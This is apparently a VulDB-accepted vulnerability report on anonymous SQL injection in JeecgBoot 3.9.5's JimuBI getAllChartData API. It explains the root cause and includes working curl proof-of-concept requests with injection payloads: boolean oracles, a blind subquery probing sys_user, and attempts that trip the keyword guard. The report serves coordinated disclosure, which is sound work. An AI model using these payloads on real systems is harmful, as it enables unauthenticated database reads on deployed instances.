Enviar #1035487: JEECG JimuBI (bundled in JeecgBoot 3.9.5 as `org.jeecgframework.jimureport:jimubi-spring-boot4-starter` 2.5.0) JeecgBoot 3.9.5 with bundled `org.jeecgframework.jimureport:jimubi-spring-boot4-starter:2.5.0`; reviewed at commit `e3b9dc0aefe1943d9772b026f64einformación

TítuloJEECG JimuBI (bundled in JeecgBoot 3.9.5 as `org.jeecgframework.jimureport:jimubi-spring-boot4-starter` 2.5.0) JeecgBoot 3.9.5 with bundled `org.jeecgframework.jimureport:jimubi-spring-boot4-starter:2.5.0`; reviewed at commit `e3b9dc0aefe1943d9772b026f64e
DescripciónAnonymous SQL injection through dataset parameter substitution in the JimuBI chart-data API Vendor: JEECG Affected versions: JeecgBoot 3.9.5 with bundled `org.jeecgframework.jimureport:jimubi-spring-boot4-starter:2.5.0`; reviewed at commit `e3b9dc0aefe1943d9772b026f64ed671a7c82802` (`v3.9.5版本发布`, 2026-08-26). The handler lives only in the pinned third-party JimuBI 2.5.0 jar; the 2 348-commit jeecg-boot history contains only vendor version bumps for it (no in-tree fix) Vulnerability class: SQL injection (CWE-89) with partial-mitigation bypass (CWE-693) Preconditions: Anonymous — no session, JWT, token, signature or any credential is required (every request in the proof was sent without cookie, token, `Authorization` or signature headers and returned HTTP 200). `ShiroConfig` (jeecg-boot-base-core, line 155) places `/drag/onlDragDatasetHead/getAllChartData` in the `anon` chain, and the handler `org.jeecg.modules.drag.b.i.c(JSONObject, HttpServletRequest)` carries `@JimuNoLoginRequired`, which makes the JimuReport/JimuBI token interceptor return `true` before any token check. Unlike its sibling `getTotalData`, this method carries no `@SignatureValidation`, so no signing header is required either. A dataset of the shipped parameterised shape must exist (`data_type=sql` with declared parameters, like the shipped `示例_参数查询` example; the proof used a fixture replicating exactly that shape). An anonymous caller can turn a configured JimuBI dataset query into an arbitrary-structure SQL statement through parameter substitution in the chart-data API. Data flow: HTTP JSON `params` at `POST /drag/onlDragDatasetHead/getAllChartData` → `OnlDragDatasetHeadServiceImpl.getSqlData` parameter merge → SQL text substitution (`DataSetUtil.c` + template substitution) → dynamic datasource execution, with the shipped basic keyword guard bypassed by boolean/subquery expressions. ### Affected interfaces | Interface | |---| | POST /jeecg-boot/drag/onlDragDatasetHead/getAllChartData — JSON body `{"id":"<dataset id>","params":{"<param>":"<value>"}}`; anonymous | Primary route detail: ``` POST /jeecg-boot/drag/onlDragDatasetHead/getAllChartData HTTP/1.1 Content-Type: application/json {"id":"<dataset id>","params":{"<declared param>":"<value>"}} ``` Anonymous. No cookie, token, `Authorization` or signature header is required: 1. `ShiroConfig` (jeecg-boot-base-core, line 155) places the route in the `anon` chain. 2. The handler carries `@JimuNoLoginRequired`, so the JimuReport/JimuBI token interceptor returns `true` before any token check. 3. Unlike its sibling `getTotalData`, this method carries no `@SignatureValidation`, so no signing header is required either. ### Root cause 1. `getAllChartData` reads `id` and `params` from the JSON body, loads the dataset via `IOnlDragDatasetHeadService.queryById(id)` and, for `data_type=sql`, calls `getSqlData(dataset, params, token)`. 2. `OnlDragDatasetHeadServiceImpl.getSqlData` merges the caller's `params` object with the dataset's declared parameter defaults (`a(dataset, dataset.getQuerySql(), params)`), then builds the final statement text in `a(dataset, paramMap, token)`: each value passes through `DataSetUtil.c(value, null)` and is then substituted into the dataset `query_sql` template (`util.b.a.a(sql, paramMap)`) before execution on the dataset's dynamic datasource. 3. The substituted text is screened only by the basic keyword validator (`jeecg.jmreport.firewall.sqlInjectionLevel: basic`), which rejects `sleep\s*\(` and SQL comments; boolean and subquery expressions pass through and are evaluated by MySQL as part of the statement. Missing guard: parameter values are concatenated into the SQL statement text instead of being bound as values, so a caller-supplied parameter can add its own boolean expression — with `query_sql = select '${p1}' as v` the payload `T50C11' OR '1'='1` produces `select 'T50C11' OR '1'='1' as v`, which MySQL evaluates to `1`. The route is additionally reachable anonymously (Shiro `anon` + `@JimuNoLoginRequired`, no `@SignatureValidation`), while the sibling `getTotalData` route of the same controller is signature-gated — this is a separate route and weakness, not a re-report of the signature-gated surface. Baseline: JeecgBoot commit `e3b9dc0aefe1943d9772b026f64ed671a7c82802`, self-hosted exact-baseline fat jar `jeecg-system-start-3.9.5.jar` (sha256 `8984f38a3cd28bd1ede3cdca60e2d4447fa8ce6b32a9ff64e9c3dd5795f2e79a`) on `127.0.0.1:18102` (dev profile, MySQL and Redis on loopback). A dataset fixture replicating the shipped `示例_参数查询` shape was inserted (`onl_drag_dataset_head` row `T50C11SET…` with `data_type=sql`, one declared parameter `p1`, `query_sql = select '${p1}' as v`) and removed again afterwards. Every request below was sent without any cookie, token, `Authorization` or signature header. **1. Negative control — a plain literal value comes back as data (no structure change):** ```sh $ curl -s -X POST 'http://127.0.0.1:18102/jeecg-boot/drag/onlDragDatasetHead/getAllChartData' \ -H 'Content-Type: application/json' \ -d '{"id":"T50C11SET…","params":{"p1":"T50C11BOUNDLITERAL"}}' {"code":200,...,"data":[{"v":"T50C11BOUNDLITERAL"}]} ``` **2. Boolean oracles — the caller's expression is evaluated as SQL:** ```sh $ curl -s -X POST 'http://127.0.0.1:18102/jeecg-boot/drag/onlDragDatasetHead/getAllChartData' \ -H 'Content-Type: application/json' \ -d '{"id":"T50C11SET…","params":{"p1":"T50C11' OR '1'='1"}}' {"code":200,...,"data":[{"v":1}]} $ curl -s -X POST 'http://127.0.0.1:18102/jeecg-boot/drag/onlDragDatasetHead/getAllChartData' \ -H 'Content-Type: application/json' \ -d '{"id":"T50C11SET…","params":{"p1":"T50C11' AND '1'='2"}}' {"code":200,...,"data":[{"v":0}]} ``` **3. Blind read via subquery (true/false by condition):** ```sh $ curl -s -X POST 'http://127.0.0.1:18102/jeecg-boot/drag/onlDragDatasetHead/getAllChartData' \ -H 'Content-Type: application/json' \ -d '{"id":"T50C11SET…","params":{"p1":"T50C11' OR EXISTS(SELECT 1 FROM sys_user WHERE username='admin') OR '1'='2"}}' {"code":200,...,"data":[{"v":1}]} $ curl -s -X POST 'http://127.0.0.1:18102/jeecg-boot/drag/onlDragDatasetHead/getAllChartData' \ -H 'Content-Type: application/json' \ -d '{"id":"T50C11SET…","params":{"p1":"T50C11' OR EXISTS(SELECT 1 FROM sys_user WHERE username='no-such-user-t50') OR '1'='2"}}' {"code":200,...,"data":[{"v":0}]} ``` **4. The shipped basic guard is a partial mitigation only** — it refuses `sleep(` and comments, and its own error message leaks the concatenated statement, proving the value became SQL syntax: ```sh $ curl -s -X POST 'http://127.0.0.1:18102/jeecg-boot/drag/onlDragDatasetHead/getAllChartData' \ -H 'Content-Type: application/json' \ -d '{"id":"T50C11SET…","params":{"p1":"T50C11' OR SLEEP(2) OR '1'='2"}}' {"code":500,"message":"...JimuSqlInjectionException: 请注意,值可能存在SQL注入风险!--->select 't50c11' or sleep(2) or '1'='2' as v"} $ curl -s -X POST 'http://127.0.0.1:18102/jeecg-boot/drag/onlDragDatasetHead/getAllChartData' \ -H 'Content-Type: application/json' \ -d '{"id":"T50C11SET…","params":{"p1":"T50C11' OR 1=1 -- "}}' {"code":500,"message":"请注意,SQL中不允许含注释,有安全风险!"} ``` The application log recorded the concatenated statement `select 't50c11' or sleep(2) or '1'='2' as v` together with the guard's `sleep\s*\(` keyword hit. All testing was performed against a self-hosted instance on the reporter's own host. No third-party system, production instance or customer data was involved. - **Vendor contact**: GitHub Private Vulnerability Reporting - jeecgboot/jeecg-boot - **Status**: vendor notified 2026-10-06 through GitHub Private Vulnerability Reporting; private report https://github.com/jeecgboot/jeecg-boot/security/advisories/GHSA-c5pf-33hc-4346; not publicly disclosed; no CVE assigned - **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally.
Fuente⚠️ https://github.com/jeecgboot/jeecg-boot
Usuario
 lucasg2g (UID 84737)
Sumisión2026-10-15 07:33 (hace 24 días)
Moderación2026-11-08 15:09 (24 days later)
EstadoAceptado
Entrada de VulDB432886 [JeecgBoot 3.9.5 JimuBI getAllChartData params inyección SQL]
Puntos20

Want to stay up to date on a daily basis?

Enable the mail alert feature now!